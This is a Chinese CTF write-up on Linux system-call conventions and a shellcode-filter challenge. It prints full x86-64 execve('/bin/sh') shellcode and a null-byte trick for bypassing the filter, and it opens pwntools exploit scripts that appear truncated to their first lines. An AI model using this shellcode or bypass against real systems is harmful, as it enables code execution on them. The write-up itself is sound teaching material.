0x00 系统调用
操作系统的进程空间可分为用户空间和内核空间,它们需要不同的执行权限。其中系统调用运行在内核空间。系统调用,指运行在用户空间的程序向操作系统请求需要更高权限运行的服务。系统调用提供用户程序与操作系统之间的接口。下面讲述linux环境下的系统调用实现
在x86 linux环境下,系统调用通过 int 0x80
实现 ,在x86-64 linux环境下,系统调用通过 syscall
实现,其都通过系统调用号来区分入口函数,但是x86和x86-64的系统调用号不同,可以通过系统的如下文件来查看系统调用号
1 | locate unistd_64.h //64位系统调用号文件 |
1 | head -n10 /usr/include/x86_64-linux-gnu/asm/unistd_64.h |
1、x86系统调用的过程
- 把系统调用编号存入eax寄存器
- 将函数参数传入其他寄存器
- 执行 int 0x80 使系统进入内核态,执行相应函数
x86系统调用中
寄存器 | 作用 |
---|---|
eax | 系统调用号 |
ebx | 函数第一个参数(如果存在) |
ecx | 函数第二个参数(如果存在) |
edx | 函数第三个参数(如果存在) |
esi | 函数第四个参数(如果存在) |
edi | 函数第五个参数(如果存在) |
2、x86-64系统调用的过程
- 把系统调用编号存入rax寄存器
- 将函数参数传入其他寄存器
- 执行 syscall 使系统进入内核态,执行相应函数
x86-64系统调用中
寄存器 | 作用 |
---|---|
rax | 系统调用号 |
rdi | 函数第一个参数(如果存在) |
rsi | 函数第二个参数(如果存在) |
rdx | 函数第三个参数(如果存在) |
r10 | 函数第四个参数(如果存在) |
r8 | 函数第五个参数(如果存在) |
r9 | 函数第六个参数(如果存在) |
下面以调用execve(‘/bin/sh’,0,0)为例
在x86-64系统中execve的系统调用号是59,所以我们要使得
- rax = 59
- rdi = 存储字符串’/bin/sh’的地址
- rsi = 0
- rdx = 0
然后执行 syscall
就会调用execve(‘/bin/sh’,0,0)
0x01 程序分析
程序会要求输入一段shellcode,然后直接直接执行shellcode,但是shellcode有限制,限制如下
1 | for ( i = a1; *i; ++i ) |
而unk_400978存储的内容为”ZZJ loves shell_code,and here is a gift:\017\005 enjoy it!”,\017\005正好是syscall的机器码
0x02 预期解
程序运行到执行shellcode处时,我们观察寄存器,发现rax = 0,rsi为程序写shellcode的内存地址,栈上存在0,且read函数的系统调用号是0,那么我们可以将栈上数据pop到合适的寄存器,调用read,没有限制的写shellcode,最后就可以执行该shellcode了
所以系统调用read函数的汇编代码为
1 | Section .text |
1 | $nasm -f elf64 read.asm -o read.o |
这样程序就会调用read,向内存中写数据,这次没有限制,就可以调用execv(“/bin/sh”,0,0)
首先要向栈上写”/bin/sh”,x86-64栈是8字节对齐,”/bin/sh”长度为7,所以可以改为”//bin/sh”,没有影响。
因为栈的增长方向是从高地址向低地址,但是系统读取内存的方向是从低地址向高地址,所以需要将”//bin/sh”反过来写,并转成十六进制。
我们先写汇编代码,在生成机器码
1 | Section .text |
最后的shellcode为
1 | \x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05 |
预期解exp
1 | from pwn import * |
也可以使用pwntools自带的asm模块
1 | from pwn import * |
0x03 非预期解
因为程序对shellcode的判断 for ( i = a1; *i; ++i )
,那么shellcode重出现\x00时,程序就不会进入循环,直接return 1了,那么我们在原先的shellcode前加个push 0 就能成功绕过判断。
非预期解exp
1 | from pwn import * |
0x04 REFFERENCE
可以使用strace命令查看系统调用过程